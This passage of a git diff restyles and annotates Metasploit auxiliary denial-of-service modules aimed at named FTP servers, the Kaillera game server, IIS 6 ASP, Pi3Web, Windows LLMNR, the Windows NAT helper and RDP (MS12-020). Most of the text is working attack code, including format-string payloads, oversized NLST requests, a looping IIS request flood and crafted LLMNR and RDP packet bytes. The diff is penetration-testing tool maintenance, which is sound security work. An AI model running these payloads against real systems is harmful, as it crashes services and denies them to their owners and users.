[CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) - register_options( + register_options( [ Opt::RPORT(21) - ]) + ] + ) end def run @@ -41,9 +49,9 @@ def run banner = sock.get_once(-1, 10) || '' print_status("Banner: #{banner.strip}") - buf = Rex::Text.pattern_create(50) - buf << "%s%lf%n%c%l%c%n%n%n%nC%lf%u%lf%d%s%v%n" - print_status("Sending format string...") + buf = Rex::Text.pattern_create(50) + buf << '%s%lf%n%c%l%c%n%n%n%nC%lf%u%lf%d%s%v%n' + print_status('Sending format string...') sock.put("USER #{buf}\r\n") disconnect diff --git a/modules/auxiliary/dos/windows/ftp/titan626_site.rb b/modules/auxiliary/dos/windows/ftp/titan626_site.rb index e42061ad148aa..348281b901d1e 100644 --- a/modules/auxiliary/dos/windows/ftp/titan626_site.rb +++ b/modules/auxiliary/dos/windows/ftp/titan626_site.rb @@ -8,24 +8,31 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Titan FTP Server 6.26.630 SITE WHO DoS', - 'Description' => %q{ - The Titan FTP server v6.26 build 630 can be DoS'd by - issuing "SITE WHO". You need a valid login so you - can send this command. - }, - 'Author' => 'kris katterjohn', - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Titan FTP Server 6.26.630 SITE WHO DoS', + 'Description' => %q{ + The Titan FTP server v6.26 build 630 can be DoS'd by + issuing "SITE WHO". You need a valid login so you + can send this command. + }, + 'Author' => 'kris katterjohn', + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2008-6082'], [ 'OSVDB', '49177'], [ 'EDB', '6753'] ], - 'DisclosureDate' => '2008-10-14')) + 'DisclosureDate' => '2008-10-14', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) - # They're required register_options([ OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ], fallbacks: ['USERNAME']), OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ], fallbacks: ['PASSWORD']) @@ -34,9 +41,10 @@ def initialize(info = {}) def run return unless connect_login - print_status("Sending command...") + + print_status('Sending command...') raw_send("SITE WHO\r\n") - select(nil,nil,nil,1) + select(nil, nil, nil, 1) disconnect end end diff --git a/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb b/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb index 9150e083e36fb..0ff01fbf7cf69 100644 --- a/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb +++ b/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb @@ -8,24 +8,31 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Victory FTP Server 5.0 LIST DoS', - 'Description' => %q{ - The Victory FTP Server v5.0 can be brought down by sending - a very simple LIST command - }, - 'Author' => 'kris katterjohn', - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Victory FTP Server 5.0 LIST DoS', + 'Description' => %q{ + The Victory FTP Server v5.0 can be brought down by sending + a very simple LIST command + }, + 'Author' => 'kris katterjohn', + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2008-2031' ], [ 'CVE', '2008-6829' ], [ 'OSVDB', '44608' ], [ 'EDB', '6834' ] ], - 'DisclosureDate' => '2008-10-24')) + 'DisclosureDate' => '2008-10-24', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) - # They're required register_options([ OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ], fallbacks: ['USERNAME']), OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ], fallbacks: ['PASSWORD']) @@ -35,10 +42,10 @@ def initialize(info = {}) def run return unless connect_login - print_status("Sending command...") + print_status('Sending command...') # Try to wait for a response - resp = send_cmd(['LIST', [0x2f, 0x5c].pack('CC')]) + send_cmd(['LIST', [0x2f, 0x5c].pack('CC')]) disconnect end diff --git a/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb b/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb index 609f9e90003f7..834da42d7769f 100644 --- a/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb +++ b/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb @@ -8,29 +8,37 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'WinFTP 2.3.0 NLST Denial of Service', - 'Description' => %q{ - This module is a very rough port of Julien Bedard's - PoC. You need a valid login, but even anonymous can - do it if it has permission to call NLST. - }, - 'Author' => 'kris katterjohn', - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'WinFTP 2.3.0 NLST Denial of Service', + 'Description' => %q{ + This module is a very rough port of Julien Bedard's + PoC. You need a valid login, but even anonymous can + do it if it has permission to call NLST. + }, + 'Author' => 'kris katterjohn', + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2008-5666' ], [ 'OSVDB', '49043' ], [ 'EDB', '6581' ] ], - 'DisclosureDate' => '2008-09-26')) + 'DisclosureDate' => '2008-09-26', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) end def run return unless connect_login # NLST has to follow a PORT or PASV - resp = send_cmd(['PASV']) + send_cmd(['PASV']) raw_send("NLST #{'..?' * 35000}\r\n") diff --git a/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb b/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb index 1d06f65ddc58f..eedafe0c115be 100644 --- a/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb +++ b/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb @@ -8,24 +8,31 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'XM Easy Personal FTP Server 5.6.0 NLST DoS', - 'Description' => %q{ - This module is a port of shinnai's script. You need - a valid login, but even anonymous can do it as long - as it has permission to call NLST. - }, - 'Author' => 'kris katterjohn', - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'XM Easy Personal FTP Server 5.6.0 NLST DoS', + 'Description' => %q{ + This module is a port of shinnai's script. You need + a valid login, but even anonymous can do it as long + as it has permission to call NLST. + }, + 'Author' => 'kris katterjohn', + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2008-5626'], [ 'OSVDB', '50837'], [ 'EDB', '6741' ] ], - 'DisclosureDate' => '2008-10-13')) + 'DisclosureDate' => '2008-10-13', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) - # They're required register_options([ OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ], fallbacks: ['USERNAME']), OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ], fallbacks: ['PASSWORD']) diff --git a/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb b/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb index c2ec97290c7e2..d3e66ead3229c 100644 --- a/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb +++ b/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb @@ -8,24 +8,31 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'XM Easy Personal FTP Server 5.7.0 NLST DoS', - 'Description' => %q{ - You need a valid login to DoS this FTP server, but - even anonymous can do it as long as it has permission - to call NLST. - }, - 'Author' => 'kris katterjohn', - 'License' => MSF_LICENSE, - 'References' => [ - [ 'CVE', '2008-5626'], - [ 'OSVDB', '50837'], - [ 'EDB', '8294' ] - ], - 'DisclosureDate' => '2009-03-27') + super( + update_info( + info, + 'Name' => 'XM Easy Personal FTP Server 5.7.0 NLST DoS', + 'Description' => %q{ + You need a valid login to DoS this FTP server, but + even anonymous can do it as long as it has permission + to call NLST. + }, + 'Author' => 'kris katterjohn', + 'License' => MSF_LICENSE, + 'References' => [ + [ 'CVE', '2008-5626'], + [ 'OSVDB', '50837'], + [ 'EDB', '8294' ] + ], + 'DisclosureDate' => '2009-03-27', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) ) - # They're required register_options([ OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ], fallbacks: ['USERNAME']), OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ], fallbacks: ['PASSWORD']) diff --git a/modules/auxiliary/dos/windows/games/kaillera.rb b/modules/auxiliary/dos/windows/games/kaillera.rb index cd9709f223f90..981ff127584a9 100644 --- a/modules/auxiliary/dos/windows/games/kaillera.rb +++ b/modules/auxiliary/dos/windows/games/kaillera.rb @@ -8,15 +8,24 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Kaillera 0.86 Server Denial of Service' , - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Kaillera 0.86 Server Denial of Service', + 'Description' => %q{ The Kaillera 0.86 server can be shut down by sending any malformed packet - after the initial "hello" packet. - }, - 'Author' => ["Sil3nt_Dre4m"], - 'License' => MSF_LICENSE, - 'DisclosureDate' => '2011-07-02')) + after the initial "hello" packet. + }, + 'Author' => ['Sil3nt_Dre4m'], + 'License' => MSF_LICENSE, + 'DisclosureDate' => '2011-07-02', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(27888) @@ -26,34 +35,35 @@ def initialize(info = {}) def run # Send HELLO to target connect_udp - print_status("Sending Crash request...") + print_status('Sending Crash request...') udp_sock.put("HELLO0.83\0") res = udp_sock.recvfrom(15) disconnect_udp if res[0] =~ /HELLOD00D([0-9]{1,5})/ - port = $1 - else print_error("Connection failed") + port = ::Regexp.last_match(1) + else + print_error('Connection failed') return end # Send DOS packet - connect_udp(global = true,'RPORT' => port) + connect_udp(true, 'RPORT' => port) print_status("Sending DoS packet to #{rhost}:#{port}...") - udp_sock.put("Kthxbai") + udp_sock.put('Kthxbai') disconnect_udp # Check is target is down connect_udp - print_status("Checking target...") + print_status('Checking target...') udp_sock.put("HELLO0.83\0") res = udp_sock.recvfrom(15) disconnect_udp if res[0] =~ /HELLO/ - print_error("DoS attempt failed. It appears target is still up.") + print_error('DoS attempt failed. It appears target is still up.') else - print_good("Target is down") + print_good('Target is down') end end end diff --git a/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb b/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb index 9e582a586b2fd..3d40deba524d6 100644 --- a/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb +++ b/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb @@ -8,63 +8,68 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft IIS 6.0 ASP Stack Exhaustion Denial of Service', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Microsoft IIS 6.0 ASP Stack Exhaustion Denial of Service', + 'Description' => %q{ The vulnerability allows remote unauthenticated attackers to force the IIS server - to become unresponsive until the IIS service is restarted manually by the administrator. - Required is that Active Server Pages are hosted by the IIS and that an ASP script reads - out a Post Form value. - }, - 'Author' => - [ + to become unresponsive until the IIS service is restarted manually by the administrator. + Required is that Active Server Pages are hosted by the IIS and that an ASP script reads + out a Post Form value. + }, + 'Author' => [ 'Heyder Andrade ', 'Leandro Oliveira ' ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2010-1899' ], [ 'OSVDB', '67978'], [ 'MSB', 'MS10-065'], [ 'EDB', '15167' ] ], - 'DisclosureDate' => '2010-09-14')) + 'DisclosureDate' => '2010-09-14', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ Opt::RPORT(80), OptString.new('VHOST', [ false, 'The virtual host name to use in requests']), OptString.new('URI', [ true, 'URI to request', '/page.asp' ]) - ]) + ] + ) end - def run uri = datastore['URI'] print_status("Attacking http://#{datastore['VHOST'] || rhost}:#{rport}#{uri}") begin - while(1) - begin - connect - payload = "C=A&" * 40000 - length = payload.size - sploit = "HEAD #{uri} HTTP/1.1\r\n" - sploit << "Host: #{datastore['VHOST'] || rhost}\r\n" - sploit << "Connection:Close\r\n" - sploit << "Content-Type: application/x-www-form-urlencoded\r\n" - sploit << "Content-Length:#{length} \r\n\r\n" - sploit << payload - sock.put(sploit) - #print_status("DoS packet sent.") - disconnect - rescue Errno::ECONNRESET - next - end + loop do + connect + payload = 'C=A&' * 40000 + length = payload.size + sploit = "HEAD #{uri} HTTP/1.1\r\n" + sploit << "Host: #{datastore['VHOST'] || rhost}\r\n" + sploit << "Connection:Close\r\n" + sploit << "Content-Type: application/x-www-form-urlencoded\r\n" + sploit << "Content-Length:#{length} \r\n\r\n" + sploit << payload + sock.put(sploit) + # print_status("DoS packet sent.") + disconnect + rescue Errno::ECONNRESET + next end rescue Errno::EPIPE - print_good("IIS should now be unavailable") + print_good('IIS should now be unavailable') end end end diff --git a/modules/auxiliary/dos/windows/http/pi3web_isapi.rb b/modules/auxiliary/dos/windows/http/pi3web_isapi.rb index b2321ced93df4..769308e68ffb9 100644 --- a/modules/auxiliary/dos/windows/http/pi3web_isapi.rb +++ b/modules/auxiliary/dos/windows/http/pi3web_isapi.rb @@ -8,22 +8,31 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Pi3Web ISAPI DoS', - 'Description' => %q{ - The Pi3Web HTTP server crashes when a request is made for an invalid DLL - file in /isapi for versions 2.0.13 and earlier. By default, the non-DLLs - in this directory after installation are users.txt, install.daf and - readme.daf. - }, - 'Author' => 'kris katterjohn', - 'License' => MSF_LICENSE, - 'References' => [ - [ 'CVE', '2008-6938'], - [ 'OSVDB', '49998'], - [ 'EDB', '7109' ] - ], - 'DisclosureDate' => '2008-11-13')) + super( + update_info( + info, + 'Name' => 'Pi3Web ISAPI DoS', + 'Description' => %q{ + The Pi3Web HTTP server crashes when a request is made for an invalid DLL + file in /isapi for versions 2.0.13 and earlier. By default, the non-DLLs + in this directory after installation are users.txt, install.daf and + readme.daf. + }, + 'Author' => 'kris katterjohn', + 'License' => MSF_LICENSE, + 'References' => [ + [ 'CVE', '2008-6938'], + [ 'OSVDB', '49998'], + [ 'EDB', '7109' ] + ], + 'DisclosureDate' => '2008-11-13', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ OptString.new('FILENAME', [ true, 'File in /isapi to request', 'users.txt' ]) @@ -31,16 +40,15 @@ def initialize(info = {}) end def run - begin - o = { 'uri' => "/isapi/#{datastore['FILENAME']}" } + o = { 'uri' => "/isapi/#{datastore['FILENAME']}" } - c = connect(o) - c.send_request(c.request_raw(o)) + c = connect(o) + c.send_request(c.request_raw(o)) - print_status("Request sent to #{rhost}:#{rport}") - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_status("Couldn't connect to #{rhost}:#{rport}") - rescue ::Timeout::Error, ::Errno::EPIPE - end + print_status("Request sent to #{rhost}:#{rport}") + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + print_status("Couldn't connect to #{rhost}:#{rport}") + rescue ::Timeout::Error, ::Errno::EPIPE => e + vprint_error(e.message) end end diff --git a/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb b/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb index 26e91ef5dccf4..c7300b15b4ad7 100644 --- a/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb +++ b/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb @@ -9,7 +9,7 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS', + 'Name' => 'Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS', 'Description' => %q{ This module exploits a buffer underrun vulnerability in Microsoft's DNSAPI.dll as distributed with Windows Vista and later without KB2509553. By sending a @@ -22,44 +22,52 @@ def initialize NOTE: In some circumstances, a '.' may be found before the top of the stack is reached. In these cases, this module may not be able to cause a crash. }, - 'Author' => 'jduck', - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'CVE', '2011-0657' ], - [ 'OSVDB', '71780' ], - [ 'MSB', 'MS11-030' ] - ], - 'DisclosureDate' => 'Apr 12 2011') + 'Author' => 'jduck', + 'License' => MSF_LICENSE, + 'References' => [ + [ 'CVE', '2011-0657' ], + [ 'OSVDB', '71780' ], + [ 'MSB', 'MS11-030' ] + ], + 'DisclosureDate' => 'Apr 12 2011', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) register_options( [ Opt::RPORT(5355), Opt::RHOST('224.0.0.252') - ]) + ] + ) end def make_query(str) - pkt = "" + pkt = '' # id pkt << [rand(65535)].pack('n') # flags - pkt << [( - '0' + # qr - '0000' + # opcode - '0' + # conflict - '0' + # truncation - '0' + # tentative - '0000' + # zero (reserved) - '0000' # rcode - )].pack('B16') + pkt << [ + ( + '0' + # qr + '0000' + # opcode + '0' + # conflict + '0' + # truncation + '0' + # tentative + '0000' + # zero (reserved) + '0000' # rcode + ) + ].pack('B16') # counts - pkt << [1,0,0,0].pack('n*') + pkt << [1, 0, 0, 0].pack('n*') - if str[0,1] == "." + if str[0, 1] == '.' pkt << [str.length].pack('C') end pkt << str + "\x00" @@ -70,32 +78,31 @@ def make_query(str) pkt end - def run connect_udp # query # various compressed queries - #pkt << "\x03" + ("%d" % 192) - #pkt << "\x03" + "144" + "\x01" + "0" + "\x03" + "168" + "\x03" + "192" - #pkt << ("\x01" + '1') * 0x20 - #pkt << "\x01" + '.' - #pkt << ("\x01\x2e") + "\x01" + "0" - #pkt << "\x07" + 'in-addr' + "\x04" + 'arpa' + "\x00" - #pkt << "\x03" + 'ip6' + "\x04" + 'arpa' + "\x00" - #pkt << ".e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f".gsub('.', "\x01") + "\x03ip6\x04arpa\x00" - - pkt = make_query(".1.1.ip6.arpa") + # pkt << "\x03" + ("%d" % 192) + # pkt << "\x03" + "144" + "\x01" + "0" + "\x03" + "168" + "\x03" + "192" + # pkt << ("\x01" + '1') * 0x20 + # pkt << "\x01" + '.' + # pkt << ("\x01\x2e") + "\x01" + "0" + # pkt << "\x07" + 'in-addr' + "\x04" + 'arpa' + "\x00" + # pkt << "\x03" + 'ip6' + "\x04" + 'arpa' + "\x00" + # pkt << ".e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f".gsub('.', "\x01") + "\x03ip6\x04arpa\x00" + + pkt = make_query('.1.1.ip6.arpa') print_status("Sending Ipv6 LLMNR query to #{rhost}") udp_sock.put(pkt) - pkt = make_query(".1.1.in-addr.arpa") + pkt = make_query('.1.1.in-addr.arpa') print_status("Sending Ipv4 LLMNR query to #{rhost}") udp_sock.put(pkt) - print_status("Note, in a default configuration, the service will restart automatically twice.") - print_status("In order to ensure it is completely dead, wait up to 5 minutes and run it again.") + print_status('Note, in a default configuration, the service will restart automatically twice.') + print_status('In order to ensure it is completely dead, wait up to 5 minutes and run it again.') disconnect_udp end diff --git a/modules/auxiliary/dos/windows/nat/nat_helper.rb b/modules/auxiliary/dos/windows/nat/nat_helper.rb index 23217bab7afbf..7322d9def32fc 100644 --- a/modules/auxiliary/dos/windows/nat/nat_helper.rb +++ b/modules/auxiliary/dos/windows/nat/nat_helper.rb @@ -8,36 +8,44 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft Windows NAT Helper Denial of Service', - 'Description' => %q{ - This module exploits a denial of service vulnerability - within the Internet Connection Sharing service in - Windows XP. - }, - 'Author' => [ 'MC' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Microsoft Windows NAT Helper Denial of Service', + 'Description' => %q{ + This module exploits a denial of service vulnerability + within the Internet Connection Sharing service in + Windows XP. + }, + 'Author' => [ 'MC' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'OSVDB', '30096'], [ 'BID', '20804' ], [ 'CVE', '2006-5614' ], ], - 'DisclosureDate' => '2006-10-26')) - - register_options([Opt::RPORT(53),]) + 'DisclosureDate' => '2006-10-26', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) + + register_options([Opt::RPORT(53),]) end def run connect_udp - pkt = "\x6c\xb6\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" + pkt = "\x6c\xb6\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" pkt << "\x03" + Rex::Text.rand_text_english(3) + "\x06" pkt << Rex::Text.rand_text_english(10) + "\x03" pkt << Rex::Text.rand_text_english(3) pkt << "\x00\x00\x01\x00\x01" - print_status("Sending dos packet...") + print_status('Sending dos packet...') udp_sock.put(pkt) diff --git a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb index c102b4ed62927..2c28fa18d4ea4 100644 --- a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb +++ b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb @@ -9,130 +9,135 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'MS12-020 Microsoft Remote Desktop Use-After-Free DoS', - 'Description' => %q{ - This module exploits the MS12-020 RDP vulnerability originally discovered and - reported by Luigi Auriemma. The flaw can be found in the way the T.125 - ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result - an invalid pointer being used, therefore causing a denial-of-service condition. - }, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'MS12-020 Microsoft Remote Desktop Use-After-Free DoS', + 'Description' => %q{ + This module exploits the MS12-020 RDP vulnerability originally discovered and + reported by Luigi Auriemma. The flaw can be found in the way the T.125 + ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result + an invalid pointer being used, therefore causing a denial-of-service condition. + }, + 'References' => [ [ 'CVE', '2012-0002' ], [ 'MSB', 'MS12-020' ], [ 'URL', 'http://www.privatepaste.com/ffe875e04a' ], - [ 'URL', 'http://pastie.org/private/4egcqt9nucxnsiksudy5dw' ], - [ 'URL', 'http://pastie.org/private/feg8du0e9kfagng4rrg' ], + [ 'URL', 'http://web.archive.org/web/20161020044803/http://pastie.org/private/4egcqt9nucxnsiksudy5dw' ], + [ 'URL', 'http://web.archive.org/web/20160627131634/http://pastie.org/private/feg8du0e9kfagng4rrg' ], [ 'URL', 'http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html' ], [ 'EDB', '18606' ], [ 'URL', 'https://www.rapid7.com/blog/post/2012/03/21/metasploit-update/' ] ], - 'Author' => - [ + 'Author' => [ 'Luigi Auriemma', - 'Daniel Godas-Lopez', # Entirely based on Daniel's pastie + 'Daniel Godas-Lopez', # Entirely based on Daniel's pastie 'Alex Ionescu', 'jduck', '#ms12-020' # Freenode IRC ], - 'License' => MSF_LICENSE, - 'DisclosureDate' => '2012-03-16' - )) + 'License' => MSF_LICENSE, + 'DisclosureDate' => '2012-03-16', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ Opt::RPORT(3389) - ]) + ] + ) end def is_rdp_up - begin - connect - disconnect - return true - rescue Rex::ConnectionRefused - return false - rescue Rex::ConnectionTimeout - return false - end + connect + disconnect + return true + rescue Rex::ConnectionRefused + return false + rescue Rex::ConnectionTimeout + return false end def run max_channel_ids = "\x02\x01\xff" - pkt = ''+ - "\x03\x00\x00\x13" + # TPKT: version + length - "\x0E\xE0\x00\x00" + # X.224 (connection request) - "\x00\x00\x00\x01" + - "\x00\x08\x00\x00" + - "\x00\x00\x00" + - "\x03\x00\x00\x6A" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 (connect-initial) - "\x7F\x65\x82\x00" + # T.125 - "\x5E" + - "\x04\x01\x01" + # callingDomainSelector - "\x04\x01\x01" + # calledDomainSelector - "\x01\x01\xFF" + # upwardFlag - "\x30\x19" + # targetParameters - max_channel_ids + # maxChannelIds - "\x02\x01\xFF" + # maxUserIds - "\x02\x01\x00" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x02\x00\x7C" + # maxMCSPDUsize - "\x02\x01\x02" + # protocolVersion - "\x30\x19" + # minimumParameters - max_channel_ids + # maxChannelIds - "\x02\x01\xFF" + # maxUserIds - "\x02\x01\x00" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x02\x00\x7C" + # maxMCSPDUsize - "\x02\x01\x02" + # protocolVersion - "\x30\x19" + # maximumParameters - max_channel_ids + # maxChannelIds - "\x02\x01\xFF" + # maxUserIds - "\x02\x01\x00" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x02\x00\x7C" + # maxMCSPDUsize - "\x02\x01\x02" + # protocolVersion - "\x04\x82\x00\x00" + # userData - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x0C" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x38\x00\x06\x03" + # T.125 - "\xF0" + - "\x03\x00\x00\x09" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x21\x80" # T.125 + pkt = '' \ + "\x03\x00\x00\x13" + # TPKT: version + length + "\x0E\xE0\x00\x00" + # X.224 (connection request) + "\x00\x00\x00\x01" \ + "\x00\x08\x00\x00" \ + "\x00\x00\x00" \ + "\x03\x00\x00\x6A" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 (connect-initial) + "\x7F\x65\x82\x00" + # T.125 + "\x5E" \ + "\x04\x01\x01" + # callingDomainSelector + "\x04\x01\x01" + # calledDomainSelector + "\x01\x01\xFF" + # upwardFlag + "\x30\x19" + # targetParameters + max_channel_ids + # maxChannelIds + "\x02\x01\xFF" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\x00\x7C" + # maxMCSPDUsize + "\x02\x01\x02" + # protocolVersion + "\x30\x19" + # minimumParameters + max_channel_ids + # maxChannelIds + "\x02\x01\xFF" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\x00\x7C" + # maxMCSPDUsize + "\x02\x01\x02" + # protocolVersion + "\x30\x19" + # maximumParameters + max_channel_ids + # maxChannelIds + "\x02\x01\xFF" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\x00\x7C" + # maxMCSPDUsize + "\x02\x01\x02" + # protocolVersion + "\x04\x82\x00\x00" + # userData + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + 